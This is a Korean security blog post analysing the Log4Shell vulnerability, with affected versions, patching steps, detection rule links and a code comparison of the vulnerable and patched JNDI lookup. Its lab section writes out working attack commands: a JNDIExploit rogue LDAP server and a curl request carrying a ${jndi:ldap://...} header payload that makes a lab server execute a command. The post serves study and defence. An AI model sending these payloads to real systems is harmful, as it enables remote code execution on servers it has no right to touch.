메뉴 닫기

Apache Log4Shell(Log4J) 취약점 분석

안녕하세요. 네트워크&보안사업부 김현구 입니다.

Apache Log4Shell 취약점에 대해 분석하고 알아보고자 합니다

 

1. 취약점명

  • Apache Log4j 취약점 (UPDATE 2022.01.21)
    • CVE-2021-44228, CVE-2021-45046, CVE-2022-23302, CVE-2022-23305, CVE-2022-23307

 


2. 소개

  • 2021년 12월 9일, 연구원들은 여러 애플리케이션 및 서비스에서 사용되는 Java 로깅 라이브러리인 Apache Log4j의 치명적인 취약점에 대한 개념 증명(PoC) 익스플로잇 코드를 게시하였습니다.
  • iCloud, Steam, Tesla, Amazon, Apache, Twitter, Minecraft등 모두 사용되고 있는 log4j 취약점으로 원격 코드 실행이 가능한 JNDI Injection 취약점 입니다.
    • 외부 디렉터리 서비스 프로토콜은 대표적으로 LDAP(Lightweight Directory Access Protocol)과 LDAPS(Secure LDAP)이 있습니다.
    • 수백만 개의 애플리케이션이 로그를 위해 Log4j를 사용하고 있으며 공격자는 ${jndi:ldap://attacker_domain} 해당 악성 클래스 경로를 입력 하기만 하면 공격에 성공하게 됩니다.
    • 해당 취약점은 CVSS v3 점수 10.0 / 10.0으로 평가 되었습니다.

(UPDATE 2022.01.21) – 모든 ​​시스템에 대해 Apache log4j의 최신 버전(2.17.1)으로 업그레이드할 것 을 적극 권장합니다.

  • 봇 스캔 활동을 하고 있으며 패치되지 않은 시스템을 찾아 악용하여 피해 사례가 발생하고 있습니다.
  • WAF 장비에  ldap jndi 키워드에 대해 필터링 진행하였으나, 이를 우회 할 수 있는 기법도 등장하고 있습니다.

JNDI(Java Naming and Directory Interface)란?

자바 애플리케이션에서 외부 디렉터리 서비스에 접근하기 위한 API 이며, 원격 서버의 객체를 bind하여 애플리케이션에서 접근할 수 있는 기술입니다

Log4j 란?

Log4j는 Java/Kotlin/Scala/Groovy 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가하여 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능 입니다.

 


3. 영향을 받는 버전

  • Log4j 2.0-beta9 ~ 2.14.1 이하 버전 CVE-2021-44228
    • CVSS Score : 10.0 / 10.0 (CRITICAL)
  • Log4j 2.0-beta9 ~ 2.15.0 이하 버전 CVE-2021-44228
    • CVSS Score : 9.0 / 10.0 (CRITICAL)
  • Log4j 1.X 버전 CVE-2022-23302
    • JMSSink를 사용하지 않는 경우 취약점 영향 없음
    • CVSS Score : 9.8 / 10.0 (HIGH)
  • Log4j 1.X 버전 CVE-2022-23305
    • JDBCAppender를 사용하지 않는 경우 취약점 영향 없음
    • CVSS Score : 9.8 / 10.0 (HIGH)
  • Log4j 1.X 버전 CVE-2022-23307
    • Chainsaw를 사용하지 않는 경우 취약점 영향 없음
    • CVSS Score : 9.8 / 10.0 (HIGH)
  • 전자정부프레임워크(eGovFramework) 버전 별 Log4j 버전
    • 프레임워크 버전 // Log4j 버전
      • 1.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 2.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 2.5 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 2.6 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 2.7 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 3.0 : Log4j 2.0
      • 3.1 : Log4j 2.0
      • 3.5 : Log4j 2.1
      • 3.6 : Log4j 2.5
      • 3.7 : Log4j 2.8.2
      • 3.8 : Log4j 2.10.0
      • 3.9 : Log4j 2.11.2
      • 3.10 : Log4j 2.12.1
      • 4.0(베타) : : Log4j 2.14.0

출처 : eGovFrame

  • 단, Log4j 1.x 는 해당 취약점에 영향을 받지 않습니다.
    • 1.2 버전의 경우 CVE-2019-17571 다른 취약점이 존재하고 있습니다. //  CVSS Score : 9.8 / 10.0 (CRITICAL)
    •  

3-1. 영향 받는 소프트웨어

  • Apache Struts, Apache Solr, Apache Druid, Apache Flink, Apache Tomcat, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2, …

 


4. 해결 방법

현재 패치 방법으로는 7가지 방법 있으며 버전 및 라이브러리에 따라 다른 점을 참고하여 패치 하시길 바랍니다.

또한 기존 버전과 패치된 버전의 프레임워크 호환성 문제가 발생할 수 있으므로 충분히 테스트 후 작업 해주시길 바랍니다.

 

1.Log4j 2.15.0 패치 방법 (Java8 버전 이상 가능)

  • Log4j 2.17.1을 패치 하기 위해선 Java8 버전을 사용 하여야 합니다
    • Java7 버전을 사용하시는 사용자의 경우 Log4j 2.17.1 업그레이드 이전에 Java8 버전으로 먼저 업그레이드 후 진행하여야 합니다.

Apache Log4j 패치 다운로드

 

2. 현재 버전이 Log4j 2.10.0 ~ 2.14.1 버전

    • Java7 버전을 사용하시는 사용자의 경우 Log4j 2.12.4 이상 버전으로 업데이트

    • Java6 버전을 사용하시는 사용자의 경우 Log4j 2.3.2 이상 버전으로 업데이트

    • Dlog4j.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 를 true로 설정합니다.

예시) java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

  • JVM 매개변수를 수정 합니다.

 

3. 현재 버전이 Log4j 2.7.0 ~ 2.14.1 버전

log4j config파일에서 logging PatternLayout을
%m -> %m{nolookups} 수정합니다.

 

4. 현재 버전이 Log4j 2.0-beta9 ~ 2.10.0 버전

1
zip d log4jcore*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
cs
  • 해당 명령어는 log4j-core.jar에서 JdniLookup 및 JdniManager 클래스 제거

 

 

5. Log4j 1.x JMSSink 사용할 경우 (CVE-2022-23305)

1
zip d log4j*.jar org/apache/log4j/net/JMSSink.class 
cs
  • Log4j 설정 파일에서 JMSSink 클래스 파일 삭제

 

 

5-1. Log4j 1.x JDBCAppender 사용할 경우 (CVE-2022-23307)

1
zip d log4j*.jar org/apache/log4j/jdbc/JDBCAppender.class  
cs
  • Log4j 설정 파일에서 JDBCAppender 삭제, JDBCAppender 클래스 파일 삭제

 

 

5-2. Log4j 1.x Chiansaw를 사용할 경우

1
zip d log4j*.jar org/apache/log4j/chainsaw/*
cs
  • Chiansaw를 통해 직렬화 된 로그를 읽지 않도록 설정 (※ XMLSocketReceiver로 대체 가능), Chainsaw 관련 클래스 삭제

 

출처 : KISA

 

6. 그 외 방법으로는 IPS, IDS, WAF에서 차단 정책을 설정 합니다.

NIPS, NIDS RuleSet

snort   https://pastebin.com/qJh7DFd4
yara  https://pastebin.com/Jnx6Hxmr
suricata  https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules

 

 

 


5. 취약점 원인 분석

1
2
3
4
5
6
7
* @throws  NamingException if a naming exception is encountered
   */
  @SuppressWarnings(“unchecked”)
  public <T> T lookup(final String name) throws NamingException {
      return (T) this.context.lookup(name);
  }
 
cs

위의 코드는 취약점을 발생시키게 한 코드이며 JndiManager.java 파일에 JNDI lookup 기능에서 발견 되었습니다.

 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn(“Log4j JNDI does not allow protocol {}”, uri.getScheme());
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        LOGGER.warn(“Attempt to access ldap server not in allowed list”);
                        return null;
                    }
                    Attributes attributes = this.context.getAttributes(name);
                    if (attributes != null) {
                        Map<String, Attribute> attributeMap = new HashMap<>();
                        NamingEnumeration<extends Attribute> enumeration = attributes.getAll();
                        while (enumeration.hasMore()) {
                            Attribute attribute = enumeration.next();
                            attributeMap.put(attribute.getID(), attribute);
                        }
                        Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                        if (attributeMap.get(SERIALIZED_DATA) != null) {
                            if (classNameAttr != null) {
                                String className = classNameAttr.get().toString();
                                if (!allowedClasses.contains(className)) {
                                    LOGGER.warn(“Deserialization of {} is not allowed”, className);
                                    return null;
                                }
                            } else {
                                LOGGER.warn(“No class name provided for {}”, name);
                                return null;
                            }
                        } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                                || attributeMap.get(OBJECT_FACTORY) != null) {
                            LOGGER.warn(“Referenceable class is not allowed for {}”, name);
                            return null;
                        }
                    }
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
cs
패치된 코드 참조(Github // Apache 재단)
 
패치가 됨으로써 변경된 사항으로는
  1. JNDI LDAP를 통해 역직렬화할 수 있는 class 제한
  2. JNDI Lookup 에서 지원되는 LDAP 서버 속성 제한
  3. LDAP 연결을 localhost로 제한 
입니다.
 
 

5-1.취약점 상세 분석

환경 구성
– Log4Shell 취약 서버 : Ubuntu 18.04, Docker, 실습자료  
   – 분석용 IP : 192.168.48.190
– LDAP 서버 :  Ubuntu 22.04, JDK 8 , JNDIExploit.jar
   – 분석용 IP : 192.168.38.173
– 공격자 PC : Linux
 
1. Log4Shell 취약 서버를 구성 할려고 합니다. 
    – 아래 명령어를 입력하게 되면 컨테이너에 이미지 다운로드, 환경 구성, 실행 하게됩니다.
    – Docker 설치가 완료된 상황이여야만 실행 가능합니다
1
docker run name vulnerableapp rm 8080:8080 ghcr.io/christophetd/log4shellvulnerableapp
cs
[사진1] Log4Shell 취약 서버 구성
 
 
1-1. 정상적으로 컨테이너가 실행중이고 웹 브라우저에 Ex) 192.168.48.190:8080  입력을하게 된다면 아래 사진과 같이 뜨게 됨으로써 Log4Shell에 취약한 서버가 구성 되었습니다. 
 
[사진2] Log4Shell 취약한 서버 웹페이지
 
 
 
2. 다음으로는 Reverse Shell(리버스쉘)을 하기 위해 LDAP서버를 구성 할려고 합니다. 
    – JDK 8 버전이 설치가 완료된 상황
    – JNDIExploit의 파일의 경우 악용의 소지가 있어 직접적인 공유는 불가능한 점 안내드립니다.
[사진3] Log4Shell 취약한 서버를 공격하기 위한 LDAP서버
1
java jar JNDIExploit1.2SNAPSHOT.jar i LDAP서버 공인IP 8888
cs

JNDIExploit 사용 하여 ex)JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.38.173 -p 8888
LDAP 서버를 실행하도록 함으로써 1389, 8888 포트를 Listening 상태로 만들었습니다.

 
 
3. 이제 개인 로컬 PC에서 ex) curl 192.168.48.190:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.38.173:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
라고 명령어를 입력 할경우 Log4Shell 취약 서버에 /tmp/pwned.txt 파일이 생성 됩니다.
1
curl Log4Shell취약 서버 공인IP:8080 ‘X-Api-Version: ${jndi:ldap://LDAP서버 공인IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}’
cs
 
[사진4] 일반 개인 PC에서 명령어 입력
 
 
[사진5] Log4Shell 취약 서버에서 생성된 파일 확인
1
docker exec vulnerableapp ls /tmp
cs
base64로 인코딩 되었으며 dG91Y2ggL3RtcC9wd25lZAo= 다시 디코딩 할 경우touch /tmp/pwned.txt 를 생성한다는 의미가 되어 생성이 된 것을 확인 할 수 있습니다.
 
 
[사진6] LDAP 서버에서Log4Shell 취약 서버로 명령을 보낸 로그
 
 
4. 패킷 분석

[사진7] WireShark 패킷 분석
WireShark로 패킷을 분석 한 결과 Destination IP 192.168.38.173:8888  ExploitAAAbgfs3gvS.class 를 요청하여 성공적으로 조회 된 것으로 확인 되었습니다.
 
5. 번외
그림1
[사진8] Xmrig (lh.sh) 스크립트 파일  출처 :securityaffairs.co

[사진9] Xmrig Base64 인코딩 -> 디코딩
 
 
코인 마이너 (Xmrig, Kingsing) DDoS 봇넷 페이로드(Dofloo, Tsunami, Mirai), Linux 랜섬웨어 등  Log4j 취약점 악용 사례가 나오고 있으므로 주의 하여주시길 바랍니다.
 
 
이상 Apache Log4Shell의 취약점에 대해 분석하여 알아보았습니다.
 
감사합니다.
 
Reference
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x